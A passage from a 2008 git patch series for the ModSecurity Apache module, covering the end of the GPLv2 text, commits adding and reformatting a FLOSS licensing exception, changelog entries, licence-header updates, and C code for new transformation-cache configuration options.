and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) 19yy - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) 19yy name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Library General -Public License instead of this License. From 924ce68c552b78e596b7dff1498843ffc319d26c Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 29 Jul 2008 15:40:37 +0000 Subject: [PATCH 065/110] Update readme to point to new exception filename. --- README.TXT | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.TXT b/README.TXT index 42891749..f0ac7445 100644 --- a/README.TXT +++ b/README.TXT @@ -5,6 +5,10 @@ ModSecurity for Apache is an open source product, released under terms of the General Public Licence, Version 2 (GPLv2). Please refer to the file LICENSE, which contains the complete text of the licence. +Additionally, certain software may be granted further rights via +a licensing exception. Please refer to the file MODSECURITY_LICENSE_EXCEPTION, +which contains the complete exception. + DOCUMENTATION Please refer to the documentation folder (/doc) for From a05445e335239b3cea6a42516314056fad55d5cb Mon Sep 17 00:00:00 2001 From: ivanr Date: Tue, 29 Jul 2008 15:46:45 +0000 Subject: [PATCH 066/110] Tidy up whitespace. More characters in the commit messages than in the change itself! Way, way, more. This is what happens when you work too much. --- MODSECURITY_LICENSING_EXCEPTION | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/MODSECURITY_LICENSING_EXCEPTION b/MODSECURITY_LICENSING_EXCEPTION index 7448257b..60b60afb 100644 --- a/MODSECURITY_LICENSING_EXCEPTION +++ b/MODSECURITY_LICENSING_EXCEPTION @@ -132,6 +132,6 @@ noted under the "FLOSS license list" section remains a prerequisite. Package name Qualifying License and Version ----------------------------------------------------------------- -Apache HTTP Server Apache Software License 2.0 -Apache Portable Runtime (APR) Apache Software License 2.0 +Apache HTTP Server Apache Software License 2.0 +Apache Portable Runtime (APR) Apache Software License 2.0 From 9c6b267447b567b1f8d81fd8e46c804371d260f5 Mon Sep 17 00:00:00 2001 From: ivanr Date: Thu, 31 Jul 2008 08:43:43 +0000 Subject: [PATCH 067/110] Change licence file to Unix format. --- MODSECURITY_LICENSING_EXCEPTION | 274 ++++++++++++++++---------------- 1 file changed, 137 insertions(+), 137 deletions(-) diff --git a/MODSECURITY_LICENSING_EXCEPTION b/MODSECURITY_LICENSING_EXCEPTION index 60b60afb..1e99ad2c 100644 --- a/MODSECURITY_LICENSING_EXCEPTION +++ b/MODSECURITY_LICENSING_EXCEPTION @@ -1,137 +1,137 @@ - -MODSECURITY LICENSING EXCEPTION -=============================== - -Version 1.0, 29 July 2008 - -As a special exception ("Exception") to the terms and conditions of version 2 -of the GPL, Breach Security, Inc. hereby grants you the rights described -below, provided you agree to the terms and conditions in this Exception, -including its obligations and restrictions on use. - - -Exception Intent -================ - -We want specified Free/Libre and Open Source Software ("FLOSS") programs to be -able to use ModSecurity (the "Program") despite the fact that not all FLOSS -licenses are compatible with version 2 of the GNU General Public License (the -"GPLv2"). - - -Legal Terms and Conditions -========================== - -You are free to distribute a Derivative Work that is formed entirely from the -Program and one or more works (each, a "FLOSS Work") licensed under one or -more of the licenses listed below in section 1, as long as all of the -following conditions are met: - - 1. You obey the GPLv2 in all respects for the Program and the Derivative - Work, except for identifiable sections of the Derivative Work which are - - 1. not derived from the Program, and - - 2. are not designed to interact with the Program, and - - 3. which can reasonably be considered independent and separate works in - themselves. - - 2. All such identifiable sections of the Derivative Work are - - 1. distributed subject to one of the FLOSS licenses listed below, and - - 2. the object code or executable form of those sections are accompanied - by the complete corresponding machine-readable source code for those - sections on the same medium and under the same FLOSS license as the - corresponding object code or executable forms of those sections. - - 3. Any works which are aggregated with the Program or with a Derivative Work - on a volume of a storage or distribution medium in accordance with the - GPLv2, can reasonably be considered independent and separate works in - themselves which are not derivatives of either the Program, a Derivative - Work or a FLOSS Work, and are not designed to interact with the Program. - -If the above conditions are not met, then the Program may only be copied, -modified, distributed or used under the terms and conditions of the GPLv2 -or another valid licensing option from Breach Security, Inc. - - -FLOSS License List -================== - -License name Version(s)/Copyright Date ------------------------------------------------------------------------ -Academic Free License 2.0 -Apache Software License 1.0/1.1/2.0 -Apple Public Source License 2.0 -Artistic license From Perl 5.8.0 -BSD license "July 22 1999" -Common Development and Distribution License (CDDL) 1.0 -Common Public License 1.0 -Eclipse Public License 1.0 -GNU Library or "Lesser" General Public License (LGPL) 2.0/2.1/3.0 -Jabber Open Source License 1.0 -MIT License (As listed in file MIT-License.txt) - -Mozilla Public License (MPL) 1.0/1.1 -Open Software License 2.0 -OpenSSL license (with original SSLeay license) "2003" ("1998") -PHP License 3.0 -Python license (CNRI Python License) - -Python Software Foundation License 2.1.1 -Sleepycat License "1999" -University of Illinois/NCSA Open Source License - -W3C License "2001" -X11 License "2001" -Zlib/libpng License - -Zope Public License 2.0 - -Due to the many variants of some of the above licenses, we require that for -any version of the listed FLOSS licenses to qualify under this exception, it -must follow the 2003 version of the Free Software Foundation's Free Software -Definition (http://www.gnu.org/philosophy/free-sw.html) or version 1.9 of the -Open Source Definition by the Open Source Initiative -(http://www.opensource.org/docs/definition.php). - - -Definitions -=========== - -1. Terms used, but not defined, herein shall have the meaning provided in the - version 2 of the GPL. - -2. Derivative Work means a derivative work under copyright law. - - -Applicability -============= - -This Exception applies to all Programs that contain a notice placed by Breach -Security, Inc. saying that the Program may be distributed under the terms of -this Exception. If you create or distribute a work which is a Derivative Work -of both the Program and any other work licensed under the GPL, then this FLOSS -Exception is not available for that work; thus, you must remove the FLOSS -Exception notice from that work and comply with the GPL in all respects, -including by retaining all GPL notices. - -You may choose to redistribute a copy of the Program exclusively under the -terms of the GPLv2 by removing the Exception notice from that copy of the -Program, provided that the copy has never been modified by you or any third -party. - - -Appendix A. Qualified Libraries and Packages -============================================ - -The following is a non-exhaustive list of libraries and packages which are -covered by the Exception when they are licensed under one or more of the -licenses listed above. Please note that this appendix is merely provided as -an additional service to specific FLOSS projects who wish to simplify -licensing information for their users. Compliance with one of the licenses -noted under the "FLOSS license list" section remains a prerequisite. - -Package name Qualifying License and Version ------------------------------------------------------------------ -Apache HTTP Server Apache Software License 2.0 -Apache Portable Runtime (APR) Apache Software License 2.0 - + +MODSECURITY LICENSING EXCEPTION +=============================== + +Version 1.0, 29 July 2008 + +As a special exception ("Exception") to the terms and conditions of version 2 +of the GPL, Breach Security, Inc. hereby grants you the rights described +below, provided you agree to the terms and conditions in this Exception, +including its obligations and restrictions on use. + + +Exception Intent +================ + +We want specified Free/Libre and Open Source Software ("FLOSS") programs to be +able to use ModSecurity (the "Program") despite the fact that not all FLOSS +licenses are compatible with version 2 of the GNU General Public License (the +"GPLv2"). + + +Legal Terms and Conditions +========================== + +You are free to distribute a Derivative Work that is formed entirely from the +Program and one or more works (each, a "FLOSS Work") licensed under one or +more of the licenses listed below in section 1, as long as all of the +following conditions are met: + + 1. You obey the GPLv2 in all respects for the Program and the Derivative + Work, except for identifiable sections of the Derivative Work which are + + 1. not derived from the Program, and + + 2. are not designed to interact with the Program, and + + 3. which can reasonably be considered independent and separate works in + themselves. + + 2. All such identifiable sections of the Derivative Work are + + 1. distributed subject to one of the FLOSS licenses listed below, and + + 2. the object code or executable form of those sections are accompanied + by the complete corresponding machine-readable source code for those + sections on the same medium and under the same FLOSS license as the + corresponding object code or executable forms of those sections. + + 3. Any works which are aggregated with the Program or with a Derivative Work + on a volume of a storage or distribution medium in accordance with the + GPLv2, can reasonably be considered independent and separate works in + themselves which are not derivatives of either the Program, a Derivative + Work or a FLOSS Work, and are not designed to interact with the Program. + +If the above conditions are not met, then the Program may only be copied, +modified, distributed or used under the terms and conditions of the GPLv2 +or another valid licensing option from Breach Security, Inc. + + +FLOSS License List +================== + +License name Version(s)/Copyright Date +----------------------------------------------------------------------- +Academic Free License 2.0 +Apache Software License 1.0/1.1/2.0 +Apple Public Source License 2.0 +Artistic license From Perl 5.8.0 +BSD license "July 22 1999" +Common Development and Distribution License (CDDL) 1.0 +Common Public License 1.0 +Eclipse Public License 1.0 +GNU Library or "Lesser" General Public License (LGPL) 2.0/2.1/3.0 +Jabber Open Source License 1.0 +MIT License (As listed in file MIT-License.txt) - +Mozilla Public License (MPL) 1.0/1.1 +Open Software License 2.0 +OpenSSL license (with original SSLeay license) "2003" ("1998") +PHP License 3.0 +Python license (CNRI Python License) - +Python Software Foundation License 2.1.1 +Sleepycat License "1999" +University of Illinois/NCSA Open Source License - +W3C License "2001" +X11 License "2001" +Zlib/libpng License - +Zope Public License 2.0 + +Due to the many variants of some of the above licenses, we require that for +any version of the listed FLOSS licenses to qualify under this exception, it +must follow the 2003 version of the Free Software Foundation's Free Software +Definition (http://www.gnu.org/philosophy/free-sw.html) or version 1.9 of the +Open Source Definition by the Open Source Initiative +(http://www.opensource.org/docs/definition.php). + + +Definitions +=========== + +1. Terms used, but not defined, herein shall have the meaning provided in the + version 2 of the GPL. + +2. Derivative Work means a derivative work under copyright law. + + +Applicability +============= + +This Exception applies to all Programs that contain a notice placed by Breach +Security, Inc. saying that the Program may be distributed under the terms of +this Exception. If you create or distribute a work which is a Derivative Work +of both the Program and any other work licensed under the GPL, then this FLOSS +Exception is not available for that work; thus, you must remove the FLOSS +Exception notice from that work and comply with the GPL in all respects, +including by retaining all GPL notices. + +You may choose to redistribute a copy of the Program exclusively under the +terms of the GPLv2 by removing the Exception notice from that copy of the +Program, provided that the copy has never been modified by you or any third +party. + + +Appendix A. Qualified Libraries and Packages +============================================ + +The following is a non-exhaustive list of libraries and packages which are +covered by the Exception when they are licensed under one or more of the +licenses listed above. Please note that this appendix is merely provided as +an additional service to specific FLOSS projects who wish to simplify +licensing information for their users. Compliance with one of the licenses +noted under the "FLOSS license list" section remains a prerequisite. + +Package name Qualifying License and Version +----------------------------------------------------------------- +Apache HTTP Server Apache Software License 2.0 +Apache Portable Runtime (APR) Apache Software License 2.0 + From 10713fbd378f27023bbff8840447ad0b0d965088 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 31 Jul 2008 22:36:24 +0000 Subject: [PATCH 068/110] Sync up branches/2.5.x and trunk. --- CHANGES | 58 +++- README.TXT | 8 +- apache2/acmp.c | 19 +- apache2/acmp.h | 16 +- apache2/apache2.h | 16 +- apache2/apache2_config.c | 60 +++- apache2/apache2_io.c | 16 +- apache2/apache2_util.c | 30 +- apache2/configure | 26 +- apache2/configure.in | 23 +- apache2/mod_security2.c | 21 +- apache2/modsecurity.c | 81 ++++- apache2/modsecurity.h | 23 +- apache2/msc_geo.c | 16 +- apache2/msc_geo.h | 16 +- apache2/msc_logging.c | 16 +- apache2/msc_logging.h | 16 +- apache2/msc_lua.c | 16 +- apache2/msc_lua.h | 16 +- apache2/msc_multipart.c | 16 +- apache2/msc_multipart.h | 16 +- apache2/msc_parsers.c | 50 ++- apache2/msc_parsers.h | 16 +- apache2/msc_pcre.c | 16 +- apache2/msc_pcre.h | 16 +- apache2/msc_reqbody.c | 16 +- apache2/msc_test.c | 16 +- apache2/msc_util.c | 16 +- apache2/msc_util.h | 16 +- apache2/msc_xml.c | 16 +- apache2/msc_xml.h | 16 +- apache2/pdf_protect.c | 16 +- apache2/pdf_protect.h | 17 +- apache2/persist_dbm.c | 16 +- apache2/persist_dbm.h | 16 +- apache2/re.c | 297 +++++++++++------- apache2/re.h | 16 +- apache2/re_actions.c | 16 +- apache2/re_operators.c | 16 +- apache2/re_tfns.c | 16 +- apache2/re_variables.c | 124 ++++---- .../action/10-detectiononly-actions.t | 8 +- apache2/t/regression/misc/10-tfn-cache.t | 189 +++++++++++ apache2/t/run-regression-tests.pl.in | 133 +++++--- apache2/utf8tables.h | 18 +- doc/modsecurity2-apache-reference.xml | 188 +++++++---- 46 files changed, 1318 insertions(+), 487 deletions(-) create mode 100644 apache2/t/regression/misc/10-tfn-cache.t diff --git a/CHANGES b/CHANGES index f9ce7d87..25868aa8 100644 --- a/CHANGES +++ b/CHANGES @@ -1,33 +1,61 @@ +31 Jul 2008 - trunk +======= -16 Jul 2008 - trunk + * Implement cssDecode. + + * Persistent counter updates are now atomic. + + +31 Jul 2008 - 2.5.6 ------------------- + + * Transformation caching has been deprecated, and is now off by default. We + now advise against using transformation caching in production. + + * Fixed two separate transformation caching issues that could cause incorrect + content inspection in some circumstances. + + * Fixed an issue with the transformation cache using too much RAM, potentially + crashing Apache with a large number of cache entries. Two new configuration + options have been added to allow for a finer control of caching: + + maxitems: Max number of items to cache (default 1024) + incremental: Whether to cache incrementally (default off) -* Implement cssDecode. + * Added an experimental regression testing suite. The regression suite may + be executed via "make test-regression", however it is strongly advised + to only be executed on a non-production machine as it will startup the + Apache web server that ModSecurity is compiled against with various + configurations in which it will run tests. -* Persistent counter updates are now atomic. + * Added a licensing exception so that ModSecurity can be used in a derivative + work when that derivative is also under an approved open source license. + + * Updated mlogc to version 1.4.5 which adds a LockFile directive and fixes an + issue in which the configuration file may be deleted. 05 Jun 2008 - 2.5.5 ------------------- -* Fixed an issue where an alert was not logged in the error log - unless "auditlog" was used. + * Fixed an issue where an alert was not logged in the error log + unless "auditlog" was used. -* Enable the "auditlog" action by default to help prevent a misconfiguration. - The new default is now: "phase:2,log,auditlog,pass" + * Enable the "auditlog" action by default to help prevent a misconfiguration. + The new default is now: "phase:2,log,auditlog,pass" -* Improve request body processing error messages. + * Improve request body processing error messages. -* Handle lack of a new line after the final boundary in a multipart request. - This fixes the reported WordPress Flash file uploader problem. + * Handle lack of a new line after the final boundary in a multipart request. + This fixes the reported WordPress Flash file uploader problem. -* Fixed issue with multithreaded servers where concurrent XML processing - could crash the web server (at least under Windows). + * Fixed issue with multithreaded servers where concurrent XML processing + could crash the web server (at least under Windows). -* Fixed blocking in phase 3. + * Fixed blocking in phase 3. -* Force modules "mod_rpaf-2.0.c" and "mod_custom_header.c" to run before - ModSecurity so that the correct IP is used. + * Force modules "mod_rpaf-2.0.c" and "mod_custom_header.c" to run before + ModSecurity so that the correct IP is used. 07 May 2008 - 2.5.4 diff --git a/README.TXT b/README.TXT index f0ac7445..791e9497 100644 --- a/README.TXT +++ b/README.TXT @@ -5,9 +5,11 @@ ModSecurity for Apache is an open source product, released under terms of the General Public Licence, Version 2 (GPLv2). Please refer to the file LICENSE, which contains the complete text of the licence. -Additionally, certain software may be granted further rights via -a licensing exception. Please refer to the file MODSECURITY_LICENSE_EXCEPTION, -which contains the complete exception. +There are special exceptions to the terms and conditions of the GPL +as it is applied to this software. View the full text of the exception in +file MODSECURITY_LICENSING_EXCEPTION in the directory of this software +distribution. + DOCUMENTATION diff --git a/apache2/acmp.c b/apache2/acmp.c index 734c6666..5ca6d5c1 100644 --- a/apache2/acmp.c +++ b/apache2/acmp.c @@ -2,12 +2,23 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ + +/* Aho-Corasick Matching */ + #include "acmp.h" #ifdef ACMP_USE_UTF8 diff --git a/apache2/acmp.h b/apache2/acmp.h index f79a44cd..bad3bd9e 100644 --- a/apache2/acmp.h +++ b/apache2/acmp.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef ACMP_H_ diff --git a/apache2/apache2.h b/apache2/apache2.h index 7dc623b4..f82438e8 100644 --- a/apache2/apache2.h +++ b/apache2/apache2.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _APACHE2_H_ diff --git a/apache2/apache2_config.c b/apache2/apache2_config.c index 6de2223a..7e54f409 100644 --- a/apache2/apache2_config.c +++ b/apache2/apache2_config.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include @@ -102,8 +110,10 @@ void *create_directory_config(apr_pool_t *mp, char *path) { /* Cache */ dcfg->cache_trans = NOT_SET; + dcfg->cache_trans_incremental = NOT_SET; dcfg->cache_trans_min = NOT_SET; dcfg->cache_trans_max = NOT_SET; + dcfg->cache_trans_maxitems = NOT_SET; dcfg->component_signatures = apr_array_make(mp, 16, sizeof(char *)); @@ -439,10 +449,14 @@ void *merge_directory_configs(apr_pool_t *mp, void *_parent, void *_child) { /* Cache */ merged->cache_trans = (child->cache_trans == NOT_SET ? parent->cache_trans : child->cache_trans); + merged->cache_trans_incremental = (child->cache_trans_incremental == NOT_SET + ? parent->cache_trans_incremental : child->cache_trans_incremental); merged->cache_trans_min = (child->cache_trans_min == (apr_size_t)NOT_SET ? parent->cache_trans_min : child->cache_trans_min); merged->cache_trans_max = (child->cache_trans_max == (apr_size_t)NOT_SET ? parent->cache_trans_max : child->cache_trans_max); + merged->cache_trans_maxitems = (child->cache_trans_maxitems == (apr_size_t)NOT_SET + ? parent->cache_trans_maxitems : child->cache_trans_maxitems); /* Merge component signatures. */ merged->component_signatures = apr_array_append(mp, parent->component_signatures, @@ -528,9 +542,11 @@ void init_directory_config(directory_config *dcfg) { if (dcfg->geo == NOT_SET_P) dcfg->geo = NULL; /* Cache */ - if (dcfg->cache_trans == NOT_SET) dcfg->cache_trans = MODSEC_CACHE_ENABLED; - if (dcfg->cache_trans_min == (apr_size_t)NOT_SET) dcfg->cache_trans_min = 15; - if (dcfg->cache_trans_max == (apr_size_t)NOT_SET) dcfg->cache_trans_max = 0; + if (dcfg->cache_trans == NOT_SET) dcfg->cache_trans = MODSEC_CACHE_DISABLED; + if (dcfg->cache_trans_incremental == NOT_SET) dcfg->cache_trans_incremental = 0; + if (dcfg->cache_trans_min == (apr_size_t)NOT_SET) dcfg->cache_trans_min = 32; + if (dcfg->cache_trans_max == (apr_size_t)NOT_SET) dcfg->cache_trans_max = 1024; + if (dcfg->cache_trans_maxitems == (apr_size_t)NOT_SET) dcfg->cache_trans_maxitems = 512; if (dcfg->request_encoding == NOT_SET_P) dcfg->request_encoding = NULL; } @@ -1650,7 +1666,7 @@ static const char *cmd_cache_transformations(cmd_parms *cmd, void *_dcfg, const /* Process options */ if (p2 != NULL) { - apr_table_t *vartable = apr_table_make(cmd->pool, 10); + apr_table_t *vartable = apr_table_make(cmd->pool, 4); apr_status_t rc; char *error_msg = NULL; const char *charval = NULL; @@ -1664,7 +1680,18 @@ static const char *cmd_cache_transformations(cmd_parms *cmd, void *_dcfg, const return apr_psprintf(cmd->pool, "ModSecurity: Unable to parse options for SecCacheTransformations: %s", error_msg); } - /* minval */ + /* incremental */ + charval = apr_table_get(vartable, "incremental"); + if (charval != NULL) { + if (strcasecmp(charval, "on") == 0) + dcfg->cache_trans_incremental = 1; + else if (strcasecmp(charval, "off") == 0) + dcfg->cache_trans_incremental = 0; + else + return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations invalid incremental value: %s", charval); + } + + /* minlen */ charval = apr_table_get(vartable, "minlen"); if (charval != NULL) { intval = apr_atoi64(charval); @@ -1684,7 +1711,7 @@ static const char *cmd_cache_transformations(cmd_parms *cmd, void *_dcfg, const dcfg->cache_trans_min = (apr_size_t)intval; } - /* maxval */ + /* maxlen */ charval = apr_table_get(vartable, "maxlen"); if (charval != NULL) { intval = apr_atoi64(charval); @@ -1707,6 +1734,19 @@ static const char *cmd_cache_transformations(cmd_parms *cmd, void *_dcfg, const dcfg->cache_trans_max = (apr_size_t)intval; } + + /* maxitems */ + charval = apr_table_get(vartable, "maxitems"); + if (charval != NULL) { + intval = apr_atoi64(charval); + if (errno == ERANGE) { + return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxitems out of range: %s", charval); + } + if (intval < 0) { + return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxitems must be positive: %s", charval); + } + dcfg->cache_trans_maxitems = (apr_size_t)intval; + } } return NULL; diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index b2ceda4e..457ee6cc 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "modsecurity.h" diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index 9ebf34e6..19c7de84 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, 